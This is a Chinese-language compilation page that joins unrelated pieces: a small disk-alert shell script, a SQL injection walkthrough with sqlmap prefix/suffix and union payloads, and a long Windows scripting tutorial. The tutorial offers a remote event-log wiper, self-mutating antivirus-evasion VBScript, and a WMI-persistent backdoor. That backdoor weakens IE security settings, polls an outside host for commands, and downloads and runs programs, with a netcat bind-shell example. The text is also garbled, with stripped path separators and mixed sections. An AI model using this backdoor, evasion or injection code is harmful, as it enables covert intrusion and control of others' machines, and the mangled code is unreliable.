Shell对文本数据的处理功能非常强大,今天有一个小小的 需求 :从磁盘空间的日志中提取磁盘空间超过80%的记录,发mail给系统管理员 磁盘空间的日志格式是: 卷 总空间 已占用空间 占用百分比 脚本是这样的: cd /home/XXX/ds dslogFile=dspace_`date +%Y%m%d

Shell对文本数据的处理功能非常强大,今天有一个小小的需求:从磁盘空间的日志中提取磁盘空间超过80%的记录,发mail给系统管理员

磁盘空间的日志格式是:

卷  总空间  已占用空间  占用百分比

脚本是这样的:

cd /home/XXX/ds

dslogFile=dspace_`date +%Y%m%d`.log

if [ -f $dslogFile ]

then

awk ' ~ /^P[A-Z][A-Z][A-Z][0-9][0-9][0-9][0-9]$/ && >”80.00%“ {printf ”%10st%10st%20st%20sn“, , , , }' $dslogFile | sort -r | mailx -s ”Alarm: Tight Disk Storage!!!“ XXX@mail.dcm.net

fi

#Alarm: Tight Disk Storage!!!

#First Shell Program Scripted by DCM-YXJ

原文转自:www.ltesting.net

篇4:自定义sqlmap注入语句进行高级注入脚本安全

现在能够帮助我们进行sql注入检测的工具越来越多,但我认为,通用性最强的还是sqlmap,其他工具在灵活性上远远不及sqlmap,sql注入有许多类型,其中最喜欢的当然是能够union查询的,比blind类型的不知道爽到哪里去了。

现在有一个url已知存在sql注入漏洞,我们丢到sqlmap里面,跑一下,结果是这样的

sqlmap -u ”www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2“ -p ppid

很明显,是一些比较恶心的注入类型,bind和error-based,难道我们就只能听工具的了么,我们手动来看一看。sq报错如下

MySQL Error

Message: MySQL Query Error

SQL: select ..... and pass=0 and (c.catid=2' or c.parentid=2') and subject like '%%'

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' or c.parentid=2') and subject like '%%'' at line 4

Errno.: 1064

Click here to seek help.

报错显示,这里懂sql语句有点复杂并且不是常规懂类型,需要闭合括号还有最好屏蔽掉后面的like语句,构造一下

www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2) order by 15 --

www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2) order by 16 --

order by确认了查出来懂总共16条,那么,继续试试

www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2) and 1=2 union% select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --

手工确认之后,使用sqlmap来继续进行,我们需要用到sqlmap的两个选项,suffix和prefix,添加以下语句的前缀和后缀,

sqlmap -u ”www.ooxx.com/ooxx.php?xid=93&dxxx=news&action=find&ppid=2“ -p catid --suffix=” -- “ --prefix=”)“

成功自定义了注入的语句,出现来union类型的注入。

篇5:深入挖掘Windows脚本技术脚本安全

.write “

目标IP:”              '也可以用navigate方法直接打开一'

.write “

用户名:”            '个html文件,效果是一样的。'

.write “

密码:

.write “

类型:”                                  '不仅是input对象,所有DHTML支持'

.write “应用程序 ”                   '的对象及其属性、方法都可以使用。'

.write “系统 ”

.write “安全”                        '访问这些对象的办法和网页中访问'

.write “

”                                    '框架内对象是类似的。'

.write “

.write “

.write “”

end with

dim wmi                                                          '显式定义一个全局变量'

set wnd=ie.document.parentwindow                                 '设置wnd为窗口对象'

set id=ie.document.all                                           '设置id为document中全部对象的集合'

id.confirm.onclick=getref(“confirm”)                             '设置点击“确定”按钮时的处理函数'

id.cancel.onclick=getref(“cancel”)                               '设置点击“取消”按钮时的处理函数'

do while true                                                    '由于ie对象支持事件,所以相应的,'

wscript.sleep 200                                                '脚本以无限循环来等待各种事件。'

loop

sub event_onquit                                                 'ie退出事件处理过程'

wscript.quit                                                     '当ie退出时,脚本也退出'

end sub

sub cancel                                                       '“取消”事件处理过程'

ie.quit                                                          '调用ie的quit方法,关闭IE窗口'

end sub                                                          '随后会触发event_onquit,于是脚本也退出了'

sub confirm                                                      '“确定”事件处理过程,这是关键'

with id

if .ip.value=“” then .ip.value=“.”                               '空ip值则默认是对本地操作'

if not (.app.checked or .sys.checked or .sec.checked) then       'app等都是checkbox,通过检测其checked'

wnd.alert(“至少选择一种日志”)                                 '属性,来判断是否被选中。'

exit sub

end if

set lct=createobject(“wbemscripting.swbemlocator”)               '创建服务器定位对象'

on error resume next                                             '使脚本宿主忽略非致命错误'

set wmi=lct.connectserver(.ip.value,“root/cimv2”,.user.value,.pass.value) '连接到root/cimv2名字空间'

if err.number then                                               '自己捕捉错误并处理'

wnd.alert(“连接WMI服务器失败”)                                '这里只是简单的显示“失败”'

err.clear

on error goto 0                                               '仍然让脚本宿主处理全部错误'

exit sub

end if

if .app.checked then clearlog “application”                      '清除每种选中的日志'

if .sys.checked then clearlog “system”

if .sec.checked then clearlog “security”                         '注意,在XP下有限制,不能清除安全日志'

wnd.alert(“日志已清除”)

end with

end sub

sub clearlog(name)

wql=“select * from Win32_NTEventLogFile where logfilename='”&name&“'”

set logs=wmi.execquery(wql)                                      '注意,logs的成员不是每条日志,'

for each l in logs                                               '而是指定日志的文件对象。'

if l.cleareventlog then

wnd.alert(“清除日志”&name&“时出错!”)

ie.quit

wscript.quit

end if

next

end sub

总结一下整个过程。首先是创建internetexplorer.application对象。其直接的效果是启动了一个iexplorer进程,但窗口是不可见的,直到设置了ie.visible=1。然后用document.write方法将html语句写到ie窗口中。对于复杂的界面,可以将html代码保存为一个html文件,用ie.navigate(filename)打开,

最后是响应窗口中的输入。这基本上属于DHTML的知识范畴。

与一般脚本编程最大的不同之处,在于ie是事件驱动的。你所要做的,就是设置好相应的事件处理函数/过程。

在本例中,脚本只关心3个事件:ie退出,“确定”按钮被点击,“取消”按钮被点击。

注意,例子中只有两句设置事件处理过程的语句,没有定义ie退出事件与event_onquit过程关联。这是因为这里用到一个特性――创建ie对象时的第二个参数“event_”是一个前缀,ie对象的事件处理过程名是该前缀加事件名。所以onquit事件的处理过程默认就是event_onquit。

当点击“确定”按钮后,confirm过程被调用。例子中演示了如何访问ie中的对象,比如ie.document.all.ip.value就是在“目标IP”文本框中的输入。如果选中“应用程序”这个checkbox,那么ie.document.all.app.checked的值是true,否则是false。想调用alert方法,则用ie.document.parentwindow.alert。其他各种ie内对象的访问方法完全是类似的。具体的可以看DHTML相关资料。

有了web界面,交互就变得丰富多彩了。大家可以充分发挥创意。

比如,很多GUI工具(比如流光)启动时,有一个logo页,显示版权等信息。我们用ie对象也可以模拟一个出来:

set ie=wscript.createobject(“internetexplorer.application”)

ie.fullscreen=1

ie.width=300

ie.height=150

ie.navigate “about:blank”

ie.left=fix((ie.document.parentwindow.screen.availwidth-ie.width)/2)

ie.top=fix((ie.document.parentwindow.screen.availheight-ie.height)/2)

ie.document.write “

”&_

篇6:深入挖掘Windows脚本技术脚本安全

ie.visible=1

wscript.sleep 5000

ie.quit

上面这段代码执行后,将在屏幕中央显示一个连标题栏和边框都没有的ie窗口,持续5秒。

窗口里是蓝底黑字的“这是一个Logo”。

脚本GUI化之后,与用户的交互更直观。像Nmap那样有很多参数的工具,在本地使用时,写一个图形界面的“接口”就一劳永逸了。输出的结果也可以用脚本处理,以更适合阅读的方式显示,就像流光等工具能生成html扫描报告那样。

【反查杀】

首先必须说明的是,我完全没有试图挑战杀毒软件杀毒能力的意思。Windows脚本是一种解释性语言,明文保存代码。由于没有经过编译过程,代码的复杂程度远不如可执行程序(exe)。exe做不到的事,没理由指望脚本能做到。不过,正因为脚本的反查杀能力很差,以至于杀毒软件使用的查杀办法也不高级。于是我们就有机可乘了。

先看看常见的反查杀办法:

1,字符串或语句的分割/重组。

最典型的例子就是将 fso=createobject(“scripting.filesystemobject”)

变成 fso=createobject(“script”+“ing.filesyste”+“mobject”)

这种办法的扩展是用execute语句:

execute(“fso=crea”+“teobject(”“scr”+“ipting.filesy”+“stemobject”“)”)

2,变量名自动改变。

Randomize

Set f = CreateObject(“Scripting.FileSystemObject”)

vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall

fS = Array(“Of”, “vC”, “fS”, “fSC”)

For fSC = 0 To 3

vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)))

Next

Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC

上面这段代码取自爱虫病毒,大家运行一下,就知道是怎么回事了。

3,用官方工具――脚本编码器screnc.exe[5]加密脚本。

加密后的脚本能被脚本宿主直接解释。本来这是最好的解决办法,但“枪打出头鸟”,由于加密是可逆的,现在所有的杀毒软件都有解码功能。因此这个办法的效果基本上为零。

第一个办法的有效告诉我们这样一个事实:对脚本病毒的查杀基本上是属于静态的。而且,我发现即使只是改变大小写,也能起到反查效果(只试了一种杀毒软件)。反查杀的关键是减少特征码。

对于exe的反查杀,最容易想到的就是“加壳”。在脚本上也可以应用这个办法。比如:

str=“cswpire.tohcO”“ ”“!K”

for i=1 to len(str) step 3

rev=rev+strreverse(mid(str,i,3))

next

execute rev

一个最简单的“壳”。“壳”的算法是每n个字符反转顺序一次。n就是算法的“种子”,本例中它等于3。

这个“壳”是死的,起不到减少特征码的效果。反而增加了特征码,如“cswpire”。

下面看一个复杂些的例子:

str=“wscript.echo ”“OK!”“:randomize:key=int(rnd*8+2):str=rev:str=replace(str,chr(34),chr(34)+chr(34)):set aso=createobject(”“ADODB.Stream”“):with as.open:.writetext ”“str=”“+chr(34)+str+chr(34)+”“:key=”“+cstr(key)+”“:str=rev:execute str:function rev():for i=1 to len(str) step key:rev=rev+strreverse(mid(str,i,key)):next:end function”“:.savetofile wscript.scriptfullname,2:end with”:key=1:str=rev:execute str:function rev():for i=1 to len(str) step key:rev=rev+strreverse(mid(str,i,key)):next:end function

(注意,该代码只有一行,没有回车)

保存成vbs文件,双击执行,效果还是和前一段代码一样,弹出一个对话框显示“OK!”。

但是,执行完后再看代码,可能变成了这样:

str=“tpircsw”“ ohce.ar:”“!KOezimodnni=yek:8*dnr(trts:)2+ts:ver=alper=r,rts(ec)43(rhc43(rhc,3(rhc+)tes:))4rc=osa jboetaeDA”“(tcertS.BDOw:)”“maeosa hti:nepo.:tetirw.ts”“ txerhc+”“=rts+)43(3(rhc+rek:”“+)4tsc+”“=y+)yek(rr=rts:”“cexe:verts etuitcnuf:(ver noi rof:)l ot 1=)rts(nek pets =ver:yerts+veresreverts(dim(yek,i,rtxen:))uf dne:”“noitcntevas.:w elifo.tpircsftpircsemanllu dne:2,htiw”:key=7:str=rev:execute str:function rev():for i=1 to len(str) step key:rev=rev+strreverse(mid(str,i,key)):next:end function

再执行,又变成其他样子了。这个脚本是自变形的。

如果仔细看代码就会发现,“壳”的算法依旧,而“种子”随机改变。但是,加壳过的内容每次不同了,“壳”本身还是没有任何改变。很多exe加壳工具加的壳,本身就被当作恶意代码来提取特征码。为了更好的反查杀,脚本的“壳”也需要动态改变。这就要用到所谓的多态技术。不过,exe的多态是用来反动态查杀的,而脚本的“多态”只是应付静态查杀,两者有很大不同。

对于exe,真正的多态目前还未听说被实现的。脚本也只能做多少算多少。

不影响功能的变形方法,除了上面提到的3种,还有:

1,随机改变大小写;

2,冒号(:)与回车符随机互换(字符串内和“then”之后的冒号除外);

3,字符串分割时,“+”与“&”随机互换;

4,()+-*/&,等字符两边任意添加空格或续行符(_)和回车符的组合;

5,用自定义函数替换内置函数;即使自定义的函数只是简单的封装内置函数,但至少改变了关键字的位置。

…………

还有其他“多态”算法有待你的研究。

这些算法的应用,是以大幅增加代码长度为前提的。如果想写一个比较完美的“壳”,相信会涉及到“文法分析”的知识,因为脚本要“读懂”自己,从而达到类似Java混淆器的效果,这就很复杂了,有机会再和大家探讨。下面我们应用“语句分割”、“变量名自动改变”、“随机大小写”、“+和&互换”四种方法,看一下效果如何:

A001=“wscript.echo ”“OK!”“:A004=chr(34):randomize:A005=int(rnd*24000+40960):A001=A006(A001):A000=A005 mod 10+2:A001=replace(A002,A004,A004&A004):set A007=createobject(”“ADODB.Stream”“):A007.open:A007.writetext hex(A005+1)&”“=”“&A004&A001&A004&A008(”“:execute ”“&A004&A006(”“A000=”“&A000&”“:A001=A002:execute A001:function A002():for A003=1 to len(A001) step A000:A002=A002+strreverse(mid(A001,A003,A000)):next:end function”“)&A004):A007.savetofile wscript.scriptfullname,2:function A006(A009):for A00A=0 to 12:A009=replace(A009,hex(&HA000+A00A),hex(A005+A00A)):next:A006=A009:end function:function A008(A009):for A00A=1 to len(A009):A00B=mid(A009,A00A,1):if int(rnd*2-1) then A00B=ucase(A00B):end if:if A00A>11 and int(rnd*5)=0 then A008=A008&A004&chr(38+int(rnd*2)*5)&A004:end if:A008=A008&A00B:next:end function”:A000=1:A001=A002:execute A001:function A002():for A003=1 to len(A001) step A000:A002=A002+strreverse(mid(A001,A003,A000)):next:end function

(注意,其中没有回车符)

上面是“原版”的,保存为vbs文件双击运行,还是弹出对话框显示“OK!”。再看代码变形成什么样了(效果是随机的):

B906=“tpircsw”“ ohce.9B:”“!KO(rhc=90nar:)43:ezimodni=A09B2*dnr(t04+00049B:)069B09B=60:)609B(9B=509B dom A09B:2+01lper=6009B(eca,909B,79B&909Btes:)90c=C09B boetaerA”“(tcejtS.BDOD:)”“maerpo.C09BC09B:netetirw.xeh txe1+A09B(B&”“=”“&)09B&909&909B&6:”“(D09Betucexe909B&”“ ”“(B09B&&”“=509B:”“&509B9B=609Bcexe:709B etucnuf:609B noitof:)(70=809B rel ot 1)609B(nB pets 09B:509+709B=7everrtsdim(esrB,609B(09B,809xen:))5f dne:tnoitcnu909B&)”“.C09B:)fotevascsw elics.tpirluftpir2,emanlitcnuf:B09B n)E09B(09B rof ot 0=FE09B:21calper=,E09B(eBH&(xeh09B+509(xeh,)F9B+A09Ben:))F0B09B:txe:E09B=cnuf dnuf:noit noitcn9B(D09Brof:)E01=F09B nel ot :)E09B(im=019B,E09B(d)1,F09Btni fi:-2*dnr(neht )1u=019B 9B(esacdne:)01 fi:fi 11>F09Bni dna 5*dnr(teht 0=)=D09B n9B&D09B(rhc&90(tni+83*)2*dnr909B&)5fi dne:B=D09B:19B&D09:txen:0nuf dnenoitc”:EXecUTe “B9”&“05=7”&“:B906”&“=B907:E”+“XEc”+“utE B906”+“:FuN”&“ctIoN B9”&“07():fOr”+“ B9”+“08=1 tO l”&“En(B906)”+“ step B905:B907”&“=B907+”&“sTRreVErSe(MId(”&“B9”&“0”&“6,B908,B905”&“)”+“):N”+“eX”+“t”+“:eNd fUN”&“CtiOn”

眼花了没?再来一次:

F0CB=“rcsw.tpiohceKO”“ F:”“!=EC0(rhc:)43dnarzimo0F:ei=FCr(tn2*dn0004904+:)06BC0FD0F=0F(0:)BCAC0FC0F=om F01 dF:2+=BC0lper(ecaCC0FC0F,0F,EF&EC)EC0tes:D0F rc=1etaeejbo”“(tcDODAtS.BmaerF:)”“.1D0nepoD0F:rw.1teti txe(xehFC0F&)1+&”“=”“EC0FC0F&0F&BF&EC(2D0xe:”“tuce&”“ eEC0FD0F&F”“(0=AC00F&”“”“&ACC0F:0F=Be:CCucex etBC0Fnuf:oitc0F n)(CCrof:C0F 1=Dl otF(ne)BC0ets 0F pF:AC=CC0CC0Frts+ever(esr(dimBC0FC0F,0F,D))ACxen:ne:tuf ditcn)”“noC0F&F:)E.1D0evasifotw elircss.tppircluftmanl:2,ecnufnoitD0F 0F(0:)3D rof4D0Ft 0=21 oD0F:er=3calp0F(eh,3D&(xeC0FH0F+A,)4D(xehFC0FD0F+:))4txenD0F:0F=0e:3Df dntcnu:noicnufnoitD0F 0F(2:)3D rof4D0Ft 1=el o0F(n:)3D5D0Fdim=D0F(0F,31,4Dfi:)tni dnr(1-2*ht )F ne=5D0sacu0F(e:)5D dnei:fi0F f1>4Dna 1ni dnr(t)5*dt 0= neh2D0FD0F=0F&2c&EC3(rhni+8nr(t)2*d&)5*EC0Fdne::fi 2D0FD0F=0F&2n:5D:txe dnecnufnoit”:eXecUtE “F”+“0CA”&“=4:F0CB”+“=”+“F0CC:eX”+“e”+“cUte F0CB”&“:F”+“UNC”+“tIOn F0CC():F”+“or”+“ F0”&“CD=1 tO LEN(F0CB) sTEp F0CA:F0CC=F0CC+strR”+“Ever”+“SE”&“(mID(”+“F0CB,”+“F0CD,F0CA)):nEXT:eNd FU”&“nCTIo”&“N”

这样够了吗?――不知道。也许杀毒引擎本来就是忽略大小写的,本来就能自动连接字符串,本来就能“文法分析”……

这个“壳”有实用性吗?――没有。因为“壳”的算法太简单。“种子”A000 = A005 mod 10 + 2,所以如果不考虑自动改变的变量名,加壳后的代码只有10种样子。

如何改进这个“壳”?――当然是用更复杂的算法,更多的“多态”。

如果你有兴趣,可以先看那个“原版”的脚本代码(把冒号都替换为回车,可读性就比较好了),然后自己加强它。

当然,你也可以另起炉灶,自由展现你的创意。

【来做个后门】

在讨论脚本后门前,先要介绍一类很有用的WMI对象。事实上,这才是本节的关键。脚本后门不过是它的一个应用而已。

前面已经说过,WMI是事件驱动的。整个事件处理机制分为四个部分:

1,事件生产者(provider):负责产生事件。WMI包含大量的事件生产者。有性能计数器之类的具体的事件生产者,也有类、实例的创建、修改、删除等通用的事件生产者。

2,事件过滤器(filter):系统每时每刻都在产生大量的事件,通过自定义过滤器,脚本可以捕获感兴趣的事件进行处理。

3,事件消费者(consumer):负责处理事件。它可以是可执行程序、动态链接库(dll,由WMI服务加载)或者脚本。

4,事件绑定(binding):通过将过滤器和消费者绑定,明确什么事件由什么消费者负责处理。

事件消费者可以分为临时的和永久的两类。临时的事件消费者只在其运行期间关心特定事件并处理。永久消费者作为类的实例注册在WMI名字空间中,一直有效直到它被注销。显然,永久事件消费者更具实用性。还是来看个例子:

nslink=“winmgmts:\.rootcimv2:”        '只需要本地连接,所以用这种语法,不用swbemlocator对象'

set asec=getobject(nslink&“ActiveScriptEventConsumer”).spawninstance_  '创建“活动脚本事件消费者”'

asec.name=“stopped_spooler_restart_consumer”                 '定义消费者的名字'

asec.scriptingengine=“vbscript”                              '定义脚本语言(只能是vbscript)'

asec.scripttext=“getobject(”“winmgmts:win32_service='spooler'”“).startservice” '脚本代码'

set asecpath=asec.put_                                       '注册消费者,返回其链接'

set evtflt=getobject(nslink&“__EventFilter”).spawninstance_  '创建事件过滤器'

evtflt.name=“stopped_spooler_filter”                         '定义过滤器的名字'

qstr=“select * from __instancemodificationevent within 5 ”   '每5秒查询一次“实例修改事件”'

qstr=qstr&“where targetinstance isa ”“win32_service”“ and ”  '目标实例的类是win32_service'

qstr=qstr&“targetinstance.name=”“spooler”“ ”                 '实例名是spooler'

qstr=qstr&“and targetinstance.state=”“stopped”“”             '实例的state属性是stopped'

evtflt.query=qstr                                            '定义查询语句'

evtflt.querylanguage=“wql”                                   '定义查询语言(只能是wql)'

set fltpath=evtflt.put_                                      '注册过滤器,返回其链接'

set fcbnd=getobject(nslink&“__FilterToConsumerBinding”).spawninstance_ '创建过滤器和消费者的绑定'

fcbnd.consumer=asecpath.path                                           '指定消费者'

fcbnd.filter=fltpath.path                                              '指定过滤器'

fcbnd.put_                                                             '执行绑定'

wscript.echo “安装完成”

这个脚本的效果是:当“后台打印”服务(spooler)状态改变为停止时,消费者将进行处理――重启spooler。

先net start spooler,然后net stop spooler。最多5秒钟,spooler又会启动。

直接运行上面的脚本会出错,因为“活动脚本事件消费者”(ActiveScriptEventConsumer ASEC)默认没有被安装到rootcimv2名字空间。

用记事本打开%windir%system32wbemscrcons.mof,将第一行“#pragma namespace (“\\.\Root\Default”)”删除,或者修改为“#pragma namespace (“\\.\Root\cimv2”)”。XP/2003没有这一行,不用修改。

然后执行下面这个命令:

C:WINNTsystem32wbem>mofcomp.exe -N:rootcimv2 scrcons.mof

Microsoft (R) 32-bit MOF 汇编器版本 1.50.1085.0007

版权所有 (c) Microsoft Corp. 1997-1999。保留所有权利。

正在分析 MOF 文件: scrcons.mof

MOF 文件分析成功

将数据储存到储备库中...

已完成!

这样就把ASEC安装到rootcimv2了。mofcomp.exe和scrcons.mof都是系统自带的。

2000默认将ASEC安装到rootdefault名字空间,而XP/2003默认已经安装到rootsubscription名字空间,但由于事件过滤器不能跨名字空间捕捉事件(XP/2003可以),事件绑定也不能跨名字空间,而大部分事件都在rootcimv2产生,所以需要重新安装ASEC到事件源所在的名字空间。下面这个脚本自动完成ASEC重安装任务。

set shl=createobject(“WScript.Shell”)

set fso=createobject(“Scripting.FileSystemObject”)

path=shl.expandenvironmentstrings(“%windir%system32wbem”)

set mof=fso.opentextfile(path&“scrcons.mof”,1,false,-1)   'mof都是Unicode格式的'

mofs=mof.readall

mof.close

mofs=replace(mofs,“\Default”,“\cimv2”,1,1)              '替换默认的名字空间'

mofp=path&“asecimv2.mof”

set mof=fso.createtextfile(mofp,false,true)               '创建临时mof文件'

mof.write mofs

mof.close

shl.run path&“mofcomp.exe -N:rootcimv2 ”&mofp,0,true     '安装到rootcimv2'

fso.deletefile(mofp)

wscript.echo “安装完成”

注销永久事件:

nslink=“winmgmts:\.rootcimv2:”

myconsumer=“stopped_spooler_restart_consumer”              '指定消费者的名字'

myfilter=“stopped_spooler_filter”                         '指定过滤器的名字'

set binds=getobject(nslink&“__FilterToConsumerBinding”).instances_

for each bind in binds

if strcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0 _

and strcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0 then

getobject(“winmgmts:”&bind.consumer).delete_        '删除消费者'

getobject(“winmgmts:”&bind.filter).delete_          '删除过滤器'

bind.delete_                                        '删除绑定'

exit for

end if

next

wscript.echo “卸载完成”

除了ASEC,WMI还提供其他永久事件消费者,比如SMTPEventConsumer。当系统出现异常时,可以通过它自动给管理员的信箱发信。WMITools里的WMI Event Registration用于创建、修改、删除指定名字空间里的永久事件消费者、事件过滤器和计时器事件源的实例,以及绑定或解除绑定它们。

关于事件处理机制的各个部分,在《WMI技术指南》里有详细的讲述,MSDN里当然更全面。我就点到为止了。

(看累了吧,喝口水,休息一下 ^_^)

下面开始讨论脚本后门。

WMI提供了两个计时器:__AbsoluteTimerInstruction和__IntervalTimerInstruction,分别在指定的时刻和时间间隔触发事件,注册一个过滤器来捕获计时器事件,再和ASEC绑定,我们就获得了一种少见的程序自启动的方法。而且,脚本代码完全隐藏在CIM存储库中,不以独立的文件存在,查杀比较困难。这是脚本后门的优势,但困难也不少:

1,脚本运行时,由系统自带的scrcons.exe作为脚本宿主(Windows的设计者还没有笨到用WMI服务作为脚本宿主)。这就会增加一个进程,虽然是系统正常的进程,杀毒软件拿它没辙,但还是太显眼了。所以,不能让脚本一直在后台运行,而是应该每隔一段时间启动一次,然后尽快结束。脚本结束后,scrcons.exe进程不会自动结束,必须让脚本借助WMI提供的Win32_Process对象主动终止宿主进程(煮豆燃豆萁?!)。

2,脚本的网络功能很差,基本上只能依靠Microsoft.XMLHTTP之类的对象。因此,脚本后门不能监听端口并提供cmd shell,只能反向连接到web服务器,获取控制命令。一个可行的办法是,在web服务器上放一个命令文件,脚本后门根据域名找到服务器并下载命令文件,再根据文件内容作出响应。所以,你需要一台web服务器,或者用netbox等工具建个临时服务器。当然,你不需要让服务器总是在线,需要控制脚本后门时再运行就可以了。

3,由于脚本后门间歇式运行,需要防止重复运行同一个命令。解决方法是在注册表里记录命令的长度,每次获取命令后将长度和记录做比较,如果相同则跳过,不同则覆盖并执行命令。

4,为了借助ie对象穿透防火墙,XMLHTTP对象必须在ie中被创建,这会受到Internet域安全级别的限制。即使将代码保存在html文件中再用ie打开,也不过是“我的电脑”域,创建不安全的ActiveX对象还是会弹出警告对话框。解决办法是修改注册表,临时更改安全设置。

5,WScript对象由wscript.exe或cscript.exe提供,而scrcons.exe没有提供,所以很多常用的功能,比如WScript.Sleep都不能用了。不能Sleep就无法异步使用XMLHTTP,而同步XMLHTTP可能被长时间阻塞,大大不利于后门的隐蔽。调用ping命令来延时会创建新进程,用WScript.Shell的Popup方法延时则有“咚”一声提示音。好在Microsoft.XMLHTTP的“亲戚”不少,比如Msxml2.XMLHTTP、Msxml2.ServerXMLHTTP、Msxml2.DOMDocument、WinHttp.WinHttpRequest等。最后那个可以设置超时时间,刚好满足需要。

即使有重重困难,脚本后门仍然值得挑战一下。当肉鸡上的各类木马纷纷被杀毒软件肃清后,一个24小时才运行一次的脚本后门可能是你最后的希望。

下面是一个简单的脚本后门的核心代码(没有安装功能):

cmdu=“myweb.8866.org/cmd.txt”     '从web服务器获取命令的url'

cmdw=4000                                '下载超时时间4秒'

cmdl=“HKLMSOFTWAREMicrosoftWBEMCIMOMCmdLength”  '记录命令长度的键值名'

on error resume next                     '忽略非致命错误 '(调试时注释掉本行)

set shl=createobject(“WScript.Shell”)    '虽然不能使用WScript根对象,其子对象还是可以用的'

set aso=createobject(“ADODB.Stream”)

set ie=createobject(“InternetExplorer.Application”)  '使用ie绕过防火墙'

zone=“HKCUSOFTWAREMicrosoftWindowsCurrentVersionInternet SettingsZones3”

set1=zone&“1201”

set2=zone&“1400”

set3=zone&“CurrentLevel”

val1=shl.regread(set1)                   '保存原来的安全设置'

val2=shl.regread(set2)

val3=shl.regread(set3)

regd=“REG_DWORD”

shl.regwrite set1,0,regd                 '允许在Internet域运行不安全的ActiveX'

shl.regwrite set2,0,regd                 '允许活动脚本'

shl.regwrite set3,0,regd                 '设置当前Internet域安全级别为“自定义”'

ie.visible=0                             ':ie.visible=1 '(调试用)

ie.navigate “about”&“:blank”             '这里使用字符串连接纯属反论坛过滤'

ie.document.write _

“”

set whr=ie.document.script.whr()         '在ie内创建WinHttpRequest对象'

whr.settimeouts cmdw,cmdw,cmdw,cmdw      '设置域名解析、连接、发送和接收超时时间'

whr.open “GET”,cmdu,true                 '获取命令文件'

whr.send

if not whr.waitforresponse(cmdw) then die

if whr.status>299 then die

rt=whr.responsetext                      ':wscript.echo rt '(调试用)

':shl.regwrite cmdl,0,regd '(调试用)

if len(rt)=shl.regread(cmdl) then die    '与前一个命令的长度比较'

shl.regwrite cmdl,len(rt),regd           '更新命令长度'

cmds=split(rt,vbcrlf,-1)

if ubound(cmds)<1 then die

cmdt=lcase(trim(cmds(0)))                ':wscript.echo cmdt '(调试用)

aso.type=1

aso.open

cd=shl.currentdirectory&chr(92)

select case cmdt                         '分析命令文件类型'

case “'vbs”                           '是vbs'

execute(rt)                        '直接在当前脚本上下文中执行'

die

case “:bat”                           '是批处理'

aso.write whr.responsebody

aso.savetofile cd&“_.bat”,2        '保存在当前目录'

aso.close

shl.run chr(34)&cd&“_.bat”“”,0     '运行批处理'

die

case “'wsh”                           '是Windows脚本'

aso.write whr.responsebody

aso.savetofile cd&“_.vbs”,2        '保存在当前目录'

aso.close

shl.run “cscript.exe ”“”&cd&“_.vbs”“”,0 '使用cscript作为脚本宿主'

die

case “exe”                            'exe需进一步分析'

case else die

end select

if ubound(cmds)<4 then die               ':wscript.echo cmds(1) '(调试用)

whr.open “GET”,cmds(1),true              '从指定位置下载exe文件'

whr.send

if not whr.waitforresponse(cmds(2)) then die

if whr.status>299 then die

path=shl.expandenvironmentstrings(cmds(3))'展开保存路径中的环境变量'

aso.write whr.responsebody               ':wscript.echo path '(调试用)

aso.savetofile path,2                    '保存exe文件'

aso.close

shl.run chr(34)&path&“”“ ”&cmds(4),0     '执行exe'

die

sub die

ie.quit

shl.regwrite set1,val1,regd           '还原Internet域安全设置'

shl.regwrite set2,val2,regd

shl.regwrite set3,val3,regd

for each ps in getobject(“winmgmts:\.rootcimv2:win32_process”).instances_

if lcase(ps.name)=“scrcons.exe” then ps.terminate  '自杀'

next

'wscript.echo “die”: wscript.quit '(调试用)

end sub

取消调试语句的注释,上面这段核心代码就可以直接运行。

它将试图从myweb.8866.org上获取cmd.txt,根据里面的内容进一步行动。

cmd.txt看起来像这样:

exe                             //被执行的文件类型,可以是'vbs、:bat、exe或'wsh

myweb.8866.org/nc.exe    //被执行的文件的下载url

4000                            //下载超时时间,单位毫秒

%windir%system32nc.exe        //文件的保存位置,支持环境变量

-L -p 1234 -e cmd.exe           //命令行参数

收到上面这个命令后,脚本将从指定url下载nc.exe,保存到系统目录并运行。

如果第一行的文件类型为'vbs、'wsh或:bat,则把命令文件本身当作脚本或批处理来执行。比如:

:bat

net start telnet :启动telnet服务

del %0 :自删除

如果只是想让某台主机执行命令,可以这样:

:bat

ipconfig | find “123.45.67.89” && net start telnet

del %0

这样就只有ip地址为123.45.67.89的主机才会启动telnet。

'wsh和'vbs的区别是,前者保存为文件由cscript.exe调用,后者直接在脚本后门“内部”执行。

使用'vbs的好处是不用生成文件,而且可以直接利用后门中已经创建的对象,比如shl,但也因此不能用WScript根对象。

下面的'vbs命令文件把“本地帐户的共享和安全模式”由“仅来宾”改为“经典”(对XP和2003有效):

'vbs

shl.regwrite “HKLMSYSTEMCurrentControlSetControlLsaforceguest”,0,“REG_DWORD”

注意,vbs和wsh前面都有一个单引号,因为整个命令文件都作为脚本执行,所以必须注释掉第一行,:bat也是一样。

使用'vbs时千万注意不要有语法错误,否则会使后门出错并停止。如果是复杂的脚本,建议使用'wsh。

将核心代码改写为单行字符串格式,就可以作为ASEC的实例安装了。改写时要注意“if”和“end if”配对以及去掉续行符。

完整的安装脚本代码如下:

'***以下为参数配置,请根据情况自行修改***'

nslink=“winmgmts:\.rootcimv2:”                  'ASEC所在的名字空间'

doorname=“vbscript_backdoor”                       '记住后门的名字,卸载时需要'

runinterval=86400000                               '每天运行一次'

cmdu=“myweb.8866.org/cmd.txt”               '命令文件的位置'

cmdw=4000                                          '文件下载超时时间'

cmdl=“HKLMSOFTWAREMicrosoftWBEMCIMOMCmdLength” '保存命令长度的键值名'

'***参数配置结束***'

createobject(“WScript.Shell”).regwrite cmdl,0,“REG_DWORD”

'脚本后门核心代码'

